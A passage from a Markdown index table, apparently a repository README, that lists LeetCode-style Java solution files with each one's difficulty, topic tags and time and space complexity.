Word.java](https://github.com/awangdev/LintCode/blob/master/Java/58.%20Length%20of%20Last%20Word.java)|Easy|[String]|||Java|355| |496|[496. Next Greater Element I.java](https://github.com/awangdev/LintCode/blob/master/Java/496.%20Next%20Greater%20Element%20I.java)|Easy|[Hash Table, Stack]|O(n)|O(n)|Java|356| |41|[41. First Missing Positive.java](https://github.com/awangdev/LintCode/blob/master/Java/41.%20First%20Missing%20Positive.java)|Hard|[Analysis, Array, Edge Case]|O(n)|O(1)|Java|357| |694|[694. Number of Distinct Islands.java](https://github.com/awangdev/LintCode/blob/master/Java/694.%20Number%20of%20Distinct%20Islands.java)|Medium|[DFS, Hash Table]|O(n)|O(n)|Java|358| |717|[717. 1-bit and 2-bit Characters.java](https://github.com/awangdev/LintCode/blob/master/Java/717.%201-bit%20and%202-bit%20Characters.java)|Easy|[Array]|||Java|359| |53|[53. Maximum Subarray.java](https://github.com/awangdev/LintCode/blob/master/Java/53.%20Maximum%20Subarray.java)|Easy|[Array, DFS, DP, Divide and Conquer, PreSum, Sequence DP, Subarray]|O(n)|O(n), O(1) rolling array|Java|360| |152|[152. Maximum Product Subarray.java](https://github.com/awangdev/LintCode/blob/master/Java/152.%20Maximum%20Product%20Subarray.java)|Medium|[Array, DP, PreProduct, Subarray]|O(n)|O(1)|Java|361| |199|[199. Binary Tree Right Side View.java](https://github.com/awangdev/LintCode/blob/master/Java/199.%20Binary%20Tree%20Right%20Side%20View.java)|Medium|[BFS, DFS, Tree]|O(n)|O(n)|Java|362| |259|[259. 3Sum Smaller.java](https://github.com/awangdev/LintCode/blob/master/Java/259.%203Sum%20Smaller.java)|Medium|[Array, Sort, Two Pointers]|||Java|363| |977|[977. Squares of a Sorted Array.java](https://github.com/awangdev/LintCode/blob/master/Java/977.%20Squares%20of%20a%20Sorted%20Array.java)|Easy|[Array, Two Pointers]|O(n)|O(n)|Java|364| |824|[824. Goat Latin.java](https://github.com/awangdev/LintCode/blob/master/Java/824.%20Goat%20Latin.java)|Easy|[Basic Implementation, String]|O(n)|O(1)|Java|365| |308|[308. Range Sum Query 2D - Mutable.java](https://github.com/awangdev/LintCode/blob/master/Java/308.%20Range%20Sum%20Query%202D%20-%20Mutable.java)|Hard|[Binary Indexed Tree, Segment Tree]|build(n), update(logn), rangeRuery(logn + k)|O(n)|Java|366| |1203|[1203. Sort Items by Groups Respecting Dependencies.java](https://github.com/awangdev/LintCode/blob/master/Java/1203.%20Sort%20Items%20by%20Groups%20Respecting%20Dependencies.java)|Hard|[BFS, DFS, Graph, Topological Sort]|O(V + E) to traverse the graph, #nodes + #edges|O(V + E)|Java|367| |1153|[1153. String Transforms Into Another String.java](https://github.com/awangdev/LintCode/blob/master/Java/1153.%20String%20Transforms%20Into%20Another%20String.java)|Hard|[Graph]|O(n)|O(n)|Java|368| |1008|[1008. Construct Binary Search Tree from Preorder Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/1008.%20Construct%20Binary%20Search%20Tree%20from%20Preorder%20Traversal.java)|Medium|[DFS, Tree]|O(n)|O(n)|Java|369| |151|[151. Reverse Words in a String.java](https://github.com/awangdev/LintCode/blob/master/Java/151.%20Reverse%20Words%20in%20a%20String.java)|Medium|[String]|O(n)||Java|370| |855|[855. Exam Room.java](https://github.com/awangdev/LintCode/blob/master/Java/855.%20Exam%20Room.java)|Medium|[PriorityQueue, Sort, TreeMap, TreeSet]|O(logn)|O(n)|Java|371| |31|[31. Next Permutation.java](https://github.com/awangdev/LintCode/blob/master/Java/31.%20Next%20Permutation.java)|Medium|[Array, Permutation]|O(n)|O(1)|Java|372| |518|[518. Coin Change 2.java](https://github.com/awangdev/LintCode/blob/master/Java/518.%20Coin%20Change%202.java)|Medium|[Backpack DP, DP]|O(n)|O(n)|Java|373| |405|[405. Convert a Number to Hexadecimal.java](https://github.com/awangdev/LintCode/blob/master/Java/405.%20Convert%20a%20Number%20to%20Hexadecimal.java)|Easy|[Bit Manipulation]|||Java|374| |850|[850. Rectangle Area II.java](https://github.com/awangdev/LintCode/blob/master/Java/850.%20Rectangle%20Area%20II.java)|Hard|[Segment Tree, Sweep Line]|O(n^2)|O(n)|Java|375| |515|[515. Find Largest Value in Each Tree Row.java](https://github.com/awangdev/LintCode/blob/master/Java/515.%20Find%20Largest%20Value%20in%20Each%20Tree%20Row.java)|Medium|[BFS, DFS, Tree]|O(n)|O(n)|Java|376| |253|[253. Meeting Rooms II.java](https://github.com/awangdev/LintCode/blob/master/Java/253.%20Meeting%20Rooms%20II.java)|Medium|[Greedy, Heap, PriorityQueue, Sort, Sweep Line]|O(nlogn)|O(n)|Java|377| |1161|[1161. Maximum Level Sum of a Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/1161.%20Maximum%20Level%20Sum%20of%20a%20Binary%20Tree.java)|Medium|[BFS, DFS, Graph]|O(n) visit all nodes|O(n)|Java|378| |509|[509. Fibonacci Number.java](https://github.com/awangdev/LintCode/blob/master/Java/509.%20Fibonacci%20Number.java)|Easy|[DP, Math, Memoization]|||Java|379| |221|[221. Maximal Square.java](https://github.com/awangdev/LintCode/blob/master/Java/221.%20Maximal%20Square.java)|Medium|[Coordinate DP, DP]|O(mn)|O(mn)|Java|380| |131|[131. Palindrome Partitioning.java](https://github.com/awangdev/LintCode/blob/master/Java/131.%20Palindrome%20Partitioning.java)|Medium|[Backtracking, DFS]|O(2^n)|O(n^2)|Java|381| |136|[136. Single Number.java](https://github.com/awangdev/LintCode/blob/master/Java/136.%20Single%20Number.java)|Easy|[Bit Manipulation, Hash Table]|||Java|382| |222|[222. Count Complete Tree Nodes.java](https://github.com/awangdev/LintCode/blob/master/Java/222.%20Count%20Complete%20Tree%20Nodes.java)|Medium|[Binary Search, DFS, Tree]|O(n)|O(h)|Java|383| |257|[257. Binary Tree Paths.java](https://github.com/awangdev/LintCode/blob/master/Java/257.%20Binary%20Tree%20Paths.java)|Easy|[Backtracking, Binary Tree, DFS]|O(n)|O(nlogn)|Java|384| |543|[543. Diameter of Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/543.%20Diameter%20of%20Binary%20Tree.java)|Easy|[Tree]|O(n) when non-balanced|O(n) when non-balanced|Java|385| |398|[398. Random Pick Index.java](https://github.com/awangdev/LintCode/blob/master/Java/398.%20Random%20Pick%20Index.java)|Medium|[Reservior Sampling]|O(n)|O(n) for input int[], O(1) extra space used|Java|386| |238|[238. Product of Array Except Self.java](https://github.com/awangdev/LintCode/blob/master/Java/238.%20Product%20of%20Array%20Except%20Self.java)|Medium|[Array, PreProduct]|O(n)|O(1)|Java|387| |1060|[1060. Missing Element in Sorted Array.java](https://github.com/awangdev/LintCode/blob/master/Java/1060.%20Missing%20Element%20in%20Sorted%20Array.java)|Medium|[Binary Search]|O(logn)|O(1)|Java|388| |1048|[1048. Longest String Chain.java](https://github.com/awangdev/LintCode/blob/master/Java/1048.%20Longest%20String%20Chain.java)|Medium|[Bucket Sort, DP, Hash Table, Sort]|O(n)|O(n)|Java|389| |67|[67. Add Binary.java](https://github.com/awangdev/LintCode/blob/master/Java/67.%20Add%20Binary.java)|Easy|[Math, String, Two Pointers]|||Java|390| |299|[299. Bulls and Cows.java](https://github.com/awangdev/LintCode/blob/master/Java/299.%20Bulls%20and%20Cows.java)|Medium|[Hash Table]|O(n)|O(n)|Java|391| |557|[557. Reverse Words in a String III.java](https://github.com/awangdev/LintCode/blob/master/Java/557.%20Reverse%20Words%20in%20a%20String%20III.java)|Easy|[String]|||Java|392| |203|[203. Remove Linked List Elements.java](https://github.com/awangdev/LintCode/blob/master/Java/203.%20Remove%20Linked%20List%20Elements.java)|Easy|[Linked List]|||Java|393| |1219|[1219. Path with Maximum Gold.java](https://github.com/awangdev/LintCode/blob/master/Java/1219.%20Path%20with%20Maximum%20Gold.java)|Medium|[Backtracking, DFS]|O(n^2)|O(n) recursive depth|Java|394| |266|[266. Palindrome Permutation.java](https://github.com/awangdev/LintCode/blob/master/Java/266.%20Palindrome%20Permutation.java)|Easy|[Hash Table]|O(n)|O(n)|Java|395| |62|[62. Unique Path.java](https://github.com/awangdev/LintCode/blob/master/Java/62.%20Unique%20Path.java)|Medium|[Array, Coordinate DP, DP]|O(mn)|O(mn), rolling array O(n)|Java|396| |1091|[1091. Shortest Path in Binary Matrix.java](https://github.com/awangdev/LintCode/blob/master/Java/1091.%20Shortest%20Path%20in%20Binary%20Matrix.java)|Medium|[BFS]|O(n^2)||Java|397| |1110|[1110. Delete Nodes And Return Forest.java](https://github.com/awangdev/LintCode/blob/master/Java/1110.%20Delete%20Nodes%20And%20Return%20Forest.java)|Medium|[DFS, Divide and Conquer, Tree]|O(n)|O(logn)|Java|398| |1249|[1249. Minimum Remove to Make Valid Parentheses.java](https://github.com/awangdev/LintCode/blob/master/Java/1249.%20Minimum%20Remove%20to%20Make%20Valid%20Parentheses.java)|Medium|[Stack, String]|O(n)|O(n)|Java|399| |15|[15. 3Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/15.%203Sum.java)|Medium|[Array, Sort, Two Pointers]|O(n^2)||Java|400| |311|[311. Sparse Matrix Multiplication.java](https://github.com/awangdev/LintCode/blob/master/Java/311.%20Sparse%20Matrix%20Multiplication.java)|Medium|[Hash Table]|O(mnk), where `m = A.row`, `n = B.col`, `k = A.col = B.row`|O(1) extra|Java|401| |339|[339. Nested List Weight Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/339.%20Nested%20List%20Weight%20Sum.java)|Easy|[BFS, DFS, NestedInteger]|O(n)|O(h), h = levels|Java|402| |322|[322. Coin Change.java](https://github.com/awangdev/LintCode/blob/master/Java/322.%20Coin%20Change.java)|Medium|[Backpack DP, DFS, DP, Memoization]|O(n * S)|O(S)|Java|403| |55|[55. Jump Game.java](https://github.com/awangdev/LintCode/blob/master/Java/55.%20Jump%20Game.java)|Medium|[Array, DP, Greedy]|O(n)|O(1)|Java|404| |173|[173. Binary Search Tree Iterator.java](https://github.com/awangdev/LintCode/blob/master/Java/173.%20Binary%20Search%20Tree%20Iterator.java)|Medium|[BST, Design, Stack, Tree]|O(1) average|O(h)|Java|405| |140|[140. Word Break II.java](https://github.com/awangdev/LintCode/blob/master/Java/140.%20Word%20Break%20II.java)|Hard|[Backtracking, DFS, DP, Hash Table, Memoization]|O(n!)|O(n!)|Java|406| |51|[51. N-Queens.java](https://github.com/awangdev/LintCode/blob/master/Java/51.%20N-Queens.java)|Hard|[Backtracking]|O(n!)|O(n^2)|Java|407| |875|[875. Koko Eating Bananas.java](https://github.com/awangdev/LintCode/blob/master/Java/875.%20Koko%20Eating%20Bananas.java)|Medium|[Binary Search]|O(n*logM)|O(1)|Java|408| |189|[189. Rotate Array.java](https://github.com/awangdev/LintCode/blob/master/Java/189.%20Rotate%20Array.java)|Easy|[Array, Rotation]|||Java|409| |19|[19. Remove Nth Node From End of List.java](https://github.com/awangdev/LintCode/blob/master/Java/19.%20Remove%20Nth%20Node%20From%20End%20of%20List.java)|Medium|[Linked List, Two Pointers]|O(n)|O(1)|Java|410| |134|[134. Gas Station.java](https://github.com/awangdev/LintCode/blob/master/Java/134.%20Gas%20Station.java)|Medium|[Greedy]|O(n)|O(1)|Java|411| |119|[119. Pascal's Triangle II.java](https://github.com/awangdev/LintCode/blob/master/Java/119.%20Pascal's%20Triangle%20II.java)|Easy|[Array, Basic Implementation]|O(k^2), pascal triangle size|O(k^2)|Java|412| |1197|[1197. Minimum Knight Moves.java](https://github.com/awangdev/LintCode/blob/master/Java/1197.%20Minimum%20Knight%20Moves.java)|Medium|[BFS]|O(8^n)|O(8^n)|Java|413| |493|[493. Reverse Pairs.java](https://github.com/awangdev/LintCode/blob/master/Java/493.%20Reverse%20Pairs.java)|Medium|[BST, Binary Indexed Tree, Divide and Conquer, Merge Sort, Segment Tree]|||Java|414| |1306|[1306. Jump Game III.java](https://github.com/awangdev/LintCode/blob/master/Java/1306.%20Jump%20Game%20III.java)|Medium|[BFS, Graph]|O(n)|O(n)|Java|415| |305|[305. Number of Islands II.java](https://github.com/awangdev/LintCode/blob/master/Java/305.%20Number%20of%20Islands%20II.java)|Hard|[Union Find]|O(k * log(mn))|O(mn)|Java|416| |206|[206. Reverse Linked List.java](https://github.com/awangdev/LintCode/blob/master/Java/206.%20Reverse%20Linked%20List.java)|Easy|[Linked List]|||Java|417| |277|[277. Find the Celebrity.java](https://github.com/awangdev/LintCode/blob/master/Java/277.%20Find%20the%20Celebrity.java)|Medium|[Adjacency Matrix, Array, Graph, Greedy, Pruning]|O(n)|O(1)|Java|418| |741|[741. Cherry Pickup.java](https://github.com/awangdev/LintCode/blob/master/Java/741.%20Cherry%20Pickup.java)|Hard|[DFS, DP]|O(n^3)|O(n^3), memo size|Java|419| |168|[168. Excel Sheet Column Title.java](https://github.com/awangdev/LintCode/blob/master/Java/168.%20Excel%20Sheet%20Column%20Title.java)|Easy|[Math]|O(n)|O(1)|Java|420| |104|[104. Maximum Depth of Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/104.%20Maximum%20Depth%20of%20Binary%20Tree.java)|Easy|[DFS, Tree]|||Java|421| |349|[349. Intersection of Two Arrays.java](https://github.com/awangdev/LintCode/blob/master/Java/349.%20Intersection%20of%20Two%20Arrays.java)|Easy|[Binary Search, Hash Table, Sort, Two Pointers]|O(m + n)|O(m + n)|Java|422| |443|[443. String Compression.java](https://github.com/awangdev/LintCode/blob/master/Java/443.%20String%20Compression.java)|Easy|[Basic Implementation, String]|||Java|423| |297|[297. Serialize and Deserialize Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/297.%20Serialize%20and%20Deserialize%20Binary%20Tree.java)|Hard|[BFS, DFS, Deque, Design, Divide and Conquer, Tree]|O(n)|O(n)|Java|424| |46|[46. Permutations.java](https://github.com/awangdev/LintCode/blob/master/Java/46.%20Permutations.java)|Medium|[BFS, Backtracking, DFS, Permutation]|O(n!)|O(n!)|Java|425| |844|[844. Backspace String Compare.java](https://github.com/awangdev/LintCode/blob/master/Java/844.%20Backspace%20String%20Compare.java)|Easy|[Stack, Two Pointers]|O(n)|O(1)|Java|426| |9|[9. Palindrome Number.java](https://github.com/awangdev/LintCode/blob/master/Java/9.%20Palindrome%20Number.java)|Easy|[Math]|||Java|427| |1094|[1094. Car Pooling.java](https://github.com/awangdev/LintCode/blob/master/Java/1094.%20Car%20Pooling.java)|Medium|[Greedy, Heap, PriorityQueue, Sort]|O(n)|O(1) only use bucket size 1000|Java|428| |245|[245. Shortest Word Distance III.java](https://github.com/awangdev/LintCode/blob/master/Java/245.%20Shortest%20Word%20Distance%20III.java)|Medium|[Array, Design, Hash Table, Two Pointers]|O(n)|O(1)|Java|429| |1117|[1117. Building H2O.java](https://github.com/awangdev/LintCode/blob/master/Java/1117.%20Building%20H2O.java)|Medium|[Lock, Semaphore, Thread]|||Java|430| |973|[973. K Closest Points to Origin.java](https://github.com/awangdev/LintCode/blob/master/Java/973.%20K%20Closest%20Points%20to%20Origin.java)|Medium|[Divide and Conquer, Heap, Sort]|O(klogk)|O(k)|Java|431| |771|[771. Jewels and Stones.java](https://github.com/awangdev/LintCode/blob/master/Java/771.%20Jewels%20and%20Stones.java)|Easy|[Hash Table]|O(n)|O(n)|Java|432| |200|[200. Number of Islands.java](https://github.com/awangdev/LintCode/blob/master/Java/200.%20Number%20of%20Islands.java)|Medium|[BFS, DFS, Matrix DFS, Union Find]|O(n)|O(n)|Java|433| |141|[141. Linked List Cycle.java](https://github.com/awangdev/LintCode/blob/master/Java/141.%20Linked%20List%20Cycle.java)|Easy|[Cycle Detection, Linked List, Slow Fast Pointer, Two Pointers]|O(n)|O(1)|Java|434| |567|[567. Permutation in String.java](https://github.com/awangdev/LintCode/blob/master/Java/567.%20Permutation%20in%20String.java)|Medium|[Sliding Window, Two Pointers]|O(m + n)|O(1)|Java|435| |727|[727. Minimum Window Subsequence.java](https://github.com/awangdev/LintCode/blob/master/Java/727.%20Minimum%20Window%20Subsequence.java)|Hard|[DP, Hash Table, Sliding Window, String, Two Pointers]|O(n^2)|O(1)|Java|436| |158|[158. Read N Characters Given Read4 II - Call multiple times.java](https://github.com/awangdev/LintCode/blob/master/Java/158.%20Read%20N%20Characters%20Given%20Read4%20II%20-%20Call%20multiple%20times.java)|Hard|[Enumeration, String]|O(n)|O(n)|Java|437| |369|[369. Plus One Linked List.java](https://github.com/awangdev/LintCode/blob/master/Java/369.%20Plus%20One%20Linked%20List.java)|Medium|[Linked List]|O(n)|O(1)|Java|438| |211|[211. Add and Search Word - Data structure design.java](https://github.com/awangdev/LintCode/blob/master/Java/211.%20Add%20and%20Search%20Word%20-%20Data%20structure%20design.java)|Medium|[Backtracking, Design, Trie]|O(n) to search and to add word|< O(mn), depends on the input. m = # of words|Java|439| |43|[43. Multiply Strings.java](https://github.com/awangdev/LintCode/blob/master/Java/43.%20Multiply%20Strings.java)|Medium|[Math, String]|O(mn)|O(mn)|Java|440| |621|[621. Task Scheduler.java](https://github.com/awangdev/LintCode/blob/master/Java/621.%20Task%20Scheduler.java)|Medium|[Array, Enumeration, Greedy, PriorityQueue, Queue]|O(n)|O(1)|Java|441| |680|[680. Valid Palindrome II.java](https://github.com/awangdev/LintCode/blob/master/Java/680.%20Valid%20Palindrome%20II.java)|Easy|[String]|||Java|442| |295|[295. Find Median from Data Stream.java](https://github.com/awangdev/LintCode/blob/master/Java/295.%20Find%20Median%20from%20Data%20Stream.java)|Hard|[Design, Heap, MaxHeap, MinHeap]|O(1) get, O(logn) addNum|O(n)|Java|443| |70|[70. Climbing Stairs.java](https://github.com/awangdev/LintCode/blob/master/Java/70.%20Climbing%20Stairs.java)|Easy|[DP, Memoization, Sequence DP]|||Java|444| |747|[747. Largest Number At Least Twice of Others.java](https://github.com/awangdev/LintCode/blob/master/Java/747.%20Largest%20Number%20At%20Least%20Twice%20of%20Others.java)|Easy|[Array]|||Java|445| |315|[315. Count of Smaller Numbers After Self.java](https://github.com/awangdev/LintCode/blob/master/Java/315.%20Count%20of%20Smaller%20Numbers%20After%20Self.java)|Hard|[BST, Binary Indexed Tree, Binary Search, Divide and Conquer, Segment Tree]|O(nlogn)|O(n)|Java|446| |239|[239. Sliding Window Maximum.java](https://github.com/awangdev/LintCode/blob/master/Java/239.%20Sliding%20Window%20Maximum.java)|Hard|[Deque, Heap, Sliding Window]|O(n)|O(n)|Java|447| |47|[47. Permutations II.java](https://github.com/awangdev/LintCode/blob/master/Java/47.%20Permutations%20II.java)|Medium|[Backtracking, DFS]|||Java|448| |332|[332. Reconstruct Itinerary.java](https://github.com/awangdev/LintCode/blob/master/Java/332.%20Reconstruct%20Itinerary.java)|Medium|[Backtracking, DFS, Graph]|O(n^n)|O(m)|Java|449| |88|[88. Search in Rotated Sorted Array II.java](https://github.com/awangdev/LintCode/blob/master/Java/88.%20Search%20in%20Rotated%20Sorted%20Array%20II.java)|Medium|[Array, Binary Search]|O(logn), worst O(n)|O(1)|Java|450| |561|[561. Array Partition I.java](https://github.com/awangdev/LintCode/blob/master/Java/561.%20Array%20Partition%20I.java)|Easy|[Array]|O(nlogn)|O(1)|Java|451| |387|[387. First Unique Character in a String.java](https://github.com/awangdev/LintCode/blob/master/Java/387.%20First%20Unique%20Character%20in%20a%20String.java)|Easy|[Hash Table, String]|O(n)|O(256) = O(1)|Java|452| |345|[345. Reverse Vowels of a String.java](https://github.com/awangdev/LintCode/blob/master/Java/345.%20Reverse%20Vowels%20of%20a%20String.java)|Easy|[String, Two Pointers]|||Java|453| |39|[39. Combination Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/39.%20Combination%20Sum.java)|Medium|[Array, Backtracking, Combination, DFS]|O(k * 2^n), k = avg rst length|O(k) stack depth, if not counting result size|Java|454| |10|[10. Regular Expression Matching.java](https://github.com/awangdev/LintCode/blob/master/Java/10.%20Regular%20Expression%20Matching.java)|Hard|[Backtracking, DP, Double Sequence DP, Sequence DP, String]|||Java|455| |367|[367. Valid Perfect Square.java](https://github.com/awangdev/LintCode/blob/master/Java/367.%20Valid%20Perfect%20Square.java)|Easy|[Binary Search, Math]|O(logN)|O(1)|Java|456| |270|[270. Closest Binary Search Tree Value.java](https://github.com/awangdev/LintCode/blob/master/Java/270.%20Closest%20Binary%20Search%20Tree%20Value.java)|Easy|[BST, Binary Search, Tree]|O(logn)|O(1)|Java|457| |28|[28. Implement strStr().java](https://github.com/awangdev/LintCode/blob/master/Java/28.%20Implement%20strStr().java)|Easy|[String, Two Pointers]|||Java|458| |1106|[1106. Parsing A Boolean Expression.java](https://github.com/awangdev/LintCode/blob/master/Java/1106.%20Parsing%20A%20Boolean%20Expression.java)|Hard|[DFS, Stack, String]|||Java|459| |144|[144. Binary Tree Preorder Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/144.%20Binary%20Tree%20Preorder%20Traversal.java)|Medium|[BFS, DFS, Stack, Tree]|O(n)|O(n)|Java|460| |852|[852. Peak Index in a Mountain Array.java](https://github.com/awangdev/LintCode/blob/master/Java/852.%20Peak%20Index%20in%20a%20Mountain%20Array.java)|Easy|[Binary Search]|O(logn)|O(1)|Java|461| |146|[146. LRU Cache.java](https://github.com/awangdev/LintCode/blob/master/Java/146.%20LRU%20Cache.java)|Medium|[Design, Doubly Linked List, Hash Table, Linked List]|O(1)|O(1)|Java|462| |110|[110. Balanced Binary Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/110.%20Balanced%20Binary%20Tree.java)|Easy|[DFS, Tree]|||Java|463| |1040|[1040. Moving Stones Until Consecutive II.java](https://github.com/awangdev/LintCode/blob/master/Java/1040.%20Moving%20Stones%20Until%20Consecutive%20II.java)|Medium|[Array, Sliding Window]|O(nlogn)|O(n)|Java|464| |246|[246. Strobogrammatic Number.java](https://github.com/awangdev/LintCode/blob/master/Java/246.%20Strobogrammatic%20Number.java)|Easy|[Enumeration, Hash Table, Math, Two Pointers]|O(n)|O(1)|Java|465| |100|[100. Same Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/100.%20Same%20Tree.java)|Easy|[BFS, DFS, Tree]|O(n)|O(logn)|Java|466| |307|[307. Range Sum Query - Mutable.java](https://github.com/awangdev/LintCode/blob/master/Java/307.%20Range%20Sum%20Query%20-%20Mutable.java)|Medium|[Binary Indexed Tree, Segment Tree]|build O(n), query (logn +k), update O(logn)|O(n)|Java|467| |88|[88. Merge Sorted Array.java](https://github.com/awangdev/LintCode/blob/master/Java/88.%20Merge%20Sorted%20Array.java)|Easy|[Array, Two Pointers]|O(n)|O(1)|Java|468| |319|[319. Bulb Switcher.java](https://github.com/awangdev/LintCode/blob/master/Java/319.%20Bulb%20Switcher.java)|Medium|[Brainteaser, Math]|O(1)|O(1)|Java|469| |112|[112. Path Sum.java](https://github.com/awangdev/LintCode/blob/master/Java/112.%20Path%20Sum.java)|Easy|[DFS, Tree]|||Java|470| |463|[463. Island Perimeter.java](https://github.com/awangdev/LintCode/blob/master/Java/463.%20Island%20Perimeter.java)|Easy|[Hash Table]|O(n)||Java|471| |170|[170. Two Sum III - Data structure design.java](https://github.com/awangdev/LintCode/blob/master/Java/170.%20Two%20Sum%20III%20-%20Data%20structure%20design.java)|Easy|[Design, Hash Table, Memoization]|O(n)|O(n)|Java|472| |122|[122. Best Time to Buy and Sell Stock II.java](https://github.com/awangdev/LintCode/blob/master/Java/122.%20Best%20Time%20to%20Buy%20and%20Sell%20Stock%20II.java)|Easy|[Array, DP, Greedy, Sequence DP, Status DP]|O(n)|O(1) greedy, O(n) dp|Java|473| |715|[715. Range Module.java](https://github.com/awangdev/LintCode/blob/master/Java/715.%20Range%20Module.java)|Hard|[Segment Tree, TreeSet]|query O(logn), update O(n)|O(n)|Java|474| |12|[12. Integer to Roman.java](https://github.com/awangdev/LintCode/blob/master/Java/12.%20Integer%20to%20Roman.java)|Medium|[Basic Implementation, Math, String]|O(n)|O(n)|Java|475| |14|[14. Longest Common Prefix.java](https://github.com/awangdev/LintCode/blob/master/Java/14.%20Longest%20Common%20Prefix.java)|Easy|[String]|||Java|476| |243|[243. Shortest Word Distance.java](https://github.com/awangdev/LintCode/blob/master/Java/243.%20Shortest%20Word%20Distance.java)|Easy|[Array, Two Pointers]|O(n)|O(1)|Java|477| |414|[414. Third Maximum Number.java](https://github.com/awangdev/LintCode/blob/master/Java/414.%20Third%20Maximum%20Number.java)|Easy|[Array, PriorityQueue]|||Java|478| |1267|[1267. Count Servers that Communicate.java](https://github.com/awangdev/LintCode/blob/master/Java/1267.%20Count%20Servers%20that%20Communicate.java)|Medium|[Array, Graph]|O(mn)|O(m + n)|Java|479| |20|[20. Valid Parentheses.java](https://github.com/awangdev/LintCode/blob/master/Java/20.%20Valid%20Parentheses.java)|Easy|[Stack, String]|O(n)|O(n)|Java|480| |893|[893. Groups of Special-Equivalent Strings.java](https://github.com/awangdev/LintCode/blob/master/Java/893.%20Groups%20of%20Special-Equivalent%20Strings.java)|Easy|[Basic Implementation, String]|||Java|481| |427|[427. Construct Quad Tree.java](https://github.com/awangdev/LintCode/blob/master/Java/427.%20Construct%20Quad%20Tree.java)|Medium|[Tree]|O(n^2)|O(n^2)|Java|482| |981|[981. Time Based Key-Value Store.java](https://github.com/awangdev/LintCode/blob/master/Java/981.%20Time%20Based%20Key-Value%20Store.java)|Medium|[Binary Search, Hash Table, TreeMap]|set O(1), get(logn)|O(n)|Java|483| |169|[169. Majority Element.java](https://github.com/awangdev/LintCode/blob/master/Java/169.%20Majority%20Element.java)|Easy|[Array, Bit Manipulation, Divide and Conquer, Moore Voting, Sort]|O(n)|O(1)|Java|484| |234|[234. Palindrome Linked List.java](https://github.com/awangdev/LintCode/blob/master/Java/234.%20Palindrome%20Linked%20List.java)|Easy|[Linked List, Two Pointers]|O(n)|O(1)|Java|485| |202|[202. Happy Number.java](https://github.com/awangdev/LintCode/blob/master/Java/202.%20Happy%20Number.java)|Easy|[Hash Table, Math]|O(m), m iterations|O(m), m number in set|Java|486| |69|[69. Sqrt(x).java](https://github.com/awangdev/LintCode/blob/master/Java/69.%20Sqrt(x).java)|Easy|[Binary Search, Math]|||Java|487| |876|[876. Middle of Linked List.java](https://github.com/awangdev/LintCode/blob/master/Java/876.%20Middle%20of%20Linked%20List.java)|Easy|[Linked List]|||Java|488| |1026|[1026. Maximum Difference Between Node and Ancestor.java](https://github.com/awangdev/LintCode/blob/master/Java/1026.%20Maximum%20Difference%20Between%20Node%20and%20Ancestor.java)|Medium|[DFS, Tree]|O(n)|O(logn)|Java|489| |78|[78. Subsets.java](https://github.com/awangdev/LintCode/blob/master/Java/78.%20Subsets.java)|Medium|[Array, BFS, Backtracking, Bit Manipulation, DFS]|O(2^n)|O(2^n)|Java|490| |432|[432. All One Data Structure.java](https://github.com/awangdev/LintCode/blob/master/Java/432.%20All%20One%20Data%20Structure.java)|Hard|[Design, Doubly Linked List]|O(1)|O(n)|Java|491| |380|[380. Insert Delete GetRandom O(1).java](https://github.com/awangdev/LintCode/blob/master/Java/380.%20Insert%20Delete%20GetRandom%20O(1).java)|Medium|[Array, Design, Hash Table]|O(1) avg|O(n)|Java|492| |560|[560. Subarray Sum Equals K.java](https://github.com/awangdev/LintCode/blob/master/Java/560.%20Subarray%20Sum%20Equals%20K.java)|Medium|[Array, Hash Table, PreSum, Subarray]|O(n)|O(n)|Java|493| |219|[219. Contains Duplicate II.java](https://github.com/awangdev/LintCode/blob/master/Java/219.%20Contains%20Duplicate%20II.java)|Easy|[Array, Hash Table]|O(n)|O(n)|Java|494| |91|[91. Decode Ways.java](https://github.com/awangdev/LintCode/blob/master/Java/91.%20Decode%20Ways.java)|Medium|[DP, Partition DP, String]|O(n)|O(n)|Java|495| |205|[205. Isomorphic Strings.java](https://github.com/awangdev/LintCode/blob/master/Java/205.%20Isomorphic%20Strings.java)|Easy|[Hash Table]|O(n)|O(n)|Java|496| |639|[639. Decode Ways II.java](https://github.com/awangdev/LintCode/blob/master/Java/639.%20Decode%20Ways%20II.java)|Hard|[DP, Enumeration, Partition DP]|O(n)|O(n)|Java|497| |346|[346. Moving Average from Data Stream.java](https://github.com/awangdev/LintCode/blob/master/Java/346.%20Moving%20Average%20from%20Data%20Stream.java)|Easy|[Design, Queue, Sliding Window]|O(1) for `next()`|O(size) for fixed storage|Java|498| |145|[145. Binary Tree Postorder Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/145.%20Binary%20Tree%20Postorder%20Traversal.java)|Medium|[Stack, Tree, Two Stacks]|O(n)|O(n)|Java|499| |938|[938. Range Sum of BST.java](https://github.com/awangdev/LintCode/blob/master/Java/938.%20Range%20Sum%20of%20BST.java)|Easy|[BST, Recursion, Tree]|||Java|500| |210|[210. Course Schedule II.java](https://github.com/awangdev/LintCode/blob/master/Java/210.%20Course%20Schedule%20II.java)|Medium|[BFS, DFS, Graph, Topological Sort]|O(n)|O(n)|Java|501| |68|[68. Text Justification.java](https://github.com/awangdev/LintCode/blob/master/Java/68.%20Text%20Justification.java)|Hard|[Enumeration, String]|O(n) go over words|O(maxLength) buffer list|Java|502| |314|[314. Binary Tree Vertical Order Traversal.java](https://github.com/awangdev/LintCode/blob/master/Java/314.%20Binary%20Tree%20Vertical%20Order%20Traversal.java)|Medium|[BFS, DFS, Hash Table, Tree]|O(n)|O(n)|Java|503| |287|[287. Find the Duplicate Number.java](https://github.com/awangdev/LintCode/blob/master/Java/287.%20Find%20the%20Duplicate%20Number.java)|Medium|[Array, Binary Search, Binary Search on Value, Cycle Detection, Slow Fast Pointer, Two Pointers]|O(n)|O(1)|Java|504| |242|[242. Valid Anagram.java](https://github.com/awangdev/LintCode/blob/master/Java/242.%20Valid%20Anagram.java)|Easy|[Hash Table, Sort]|O(n)|O(1), unique chars|Java|505| |340|[340. Longest Substring with At Most K Distinct 